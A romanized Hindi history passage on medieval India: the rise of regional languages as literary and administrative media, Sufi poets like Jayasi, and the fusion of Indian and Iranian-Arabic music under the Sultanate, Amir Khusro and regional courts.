in bhashaoan ke dvara parivakvata prapt karana aur sahityik bhashaoan ke roop mean unaka prayog madhyakalin bharat ki ek visheshata hai. isake kee karan hai. sambhavatah brahmanoan ka mahatv kam ho jane ke karan sanskrit ka mahatv bhi kam ho gaya tha. bhakt kaviyoan ke dvara janabhasha ka prayog niahsandeh in bhashaoan ke vikas mean mahattvapoorn tha. vastutah desh ke anek hissoan mean santoan ne in bhashaoan ko sahityik bhasha ke roop mean dhalane ka kam kiya tha. aisa lagata hai ki turk-poorv kal mean kee kshetriy rajyoan mean sanskrit ke sath-sath tamil, kann d, marathi adi ka prayog prashasan mean kiya jata raha hoga. yah turk shasan mean bhi chalata raha, kyoanki hindi janane vale rajasv lekhakaroan ki dilli saltanat mean niyukti ke sanket milate haian. bad mean bhi, jab dilli saltanat ka vighatan ho gaya, hindi-farasi ke sath-sath kee kshetriy bhashaean rajyoan mean prashasakiy mamalat mean prayukt hoti rahi. isi prakar dakshin mean vijayanagar samrajy ke sarankshan mean telugu sahity panapa. bahamani samrajy mean marathi prashasan ki ek bhasha rahi, aur bad mean bijapur ke darabar ki bhasha bani. bad mean, jab in bhashaoan ka samuchit vikas ho gaya, to kuchh muslim shasakoan ne bhi inhean sahity rachana ke lie sanrakshan diya. udaharan ke lie, bangal ke nasarahashah ne 'mahabharat' aur 'ramayan' ka bangali mean anuvad karavaya. usi ke sanrakshan mean basu ne 'bhagavat' ka bangali mean anuvad kiya. nusaratashah dvara bangali kaviyoan ko sanrakshan dene ki bat ka bhi ullekh milata hai.

soofi santoan ke dvara apani sangit bhashaoan-'sama' mean hindi bhakti kavy ke prayog ki charcha bhi ki ja chuki hai. jaunapur ke malik muhammad jayasi jaise soofi santoan ne hindi mean kavy rachana ki aur soofi mat ko is roop mean prastut kiya ki samany janata unhean samajh sake. in soofi kaviyoan ne farasi ki masanabi shaili ko lokapriy banaya.

lalit kalaean

parasparik samajh aur ekikaran ki pravrittiyaan keval dharmik vishvasoan aur karmakandoan, sabhapaty aur sahity mean hi nahian milati, varanh lalit kalaoan ke kshetroan visheshatah sangit mean bhi milati hai. jab turk bharat aye to apane sath eeran aur madhy eshiya mean pallavit samriddh arabi sangit paramapara bhi laye. unake pas kee naye vady the, jaise rabab aur sarangi, aur unake pas nee sangit paddhati aur niyam the. sambhavatah bagadad ke khalifa ke darabar mean bharatiy sangit aur sangitakaroan ne vahaan ke sangit ke vikas par apana prabhav chho da tha. lekin donoan ke bich vidhivat sampark saltanat ke aantargat hi hua. amir khusaro ke sangit ke siddhaant aur kala donoan patoan ki janakari ke karan nayak ki upadhi mili thi. usane aiman, ghora, sanam jaise anek eerani-arabi ragoan ko prachalit kiya. sitar ke nirman ka shrey amir khusaro ko diya jata hai, lekin isaka praman upalabdh nahian hai. tabale ke nirman ke shrey bhi usi ko pradan kiya jata hai, lekin aisa pratit hota hai ki tabale ka vikas satrahavian shatabdi ke uttarardh ya atharahavian shatabdi mean hi hua.

firojashah tugalaq ke shasan mean sangit ke ekikaran ki prakriya anavarat chalati rahi. isi samay shastriy rachana 'rag' darpan ka farasi mean anuvad hua. soofi santoan ke ashramoan ke sath-sath sangit sabhaean ab samantoan ke mahaloan mean bhi hone lagi. jaunapur ka shasak sultan husain sharki, sangit ko bahut sanrakshan deta tha. vahaan ka soofi sant pir bodhan ko us kal ka doosare nambar ka sangitakar mana jata hai. ek or kshetriy rajy, jahaan sangit ka bahut vikas hua, gvaliyar tha. raja manasianh ki sangit mean bahut ruchi thi. usi ke shasan mean 'man-kautuhal' ki rachana huee. jisamean musalimoan ke dvara nayi sangit paddhatiyaan bhi sammilit ki gee thian. is bat ki koee janakari nahian hai ki uttar bharat aur dakshin bharat ki sangit paddhatiyoan mean aantar ana kab shuroo hua. kintu is bat mean sandeh ki guanjaish bahut kam hai ki yah aantar eerani-arabi paddhatiyoan, ragoan aur vadyoan ke karan hi aya. kashmir mean farasi sangit ke atishay prabhav se ek sarvatha nayi sangit shaili ka janm hua.

jaunapur vijay ke bad sikandar lodi ne bhi sangit ko sanrakshan dene ki parampara ka b de paimane par palan kiya. bad mean bharat mean kafi lambe samay tak rajy karane vale mahanh mugal vansh ke kee badashahoan ne bhi is parampara ko banaye rakha.

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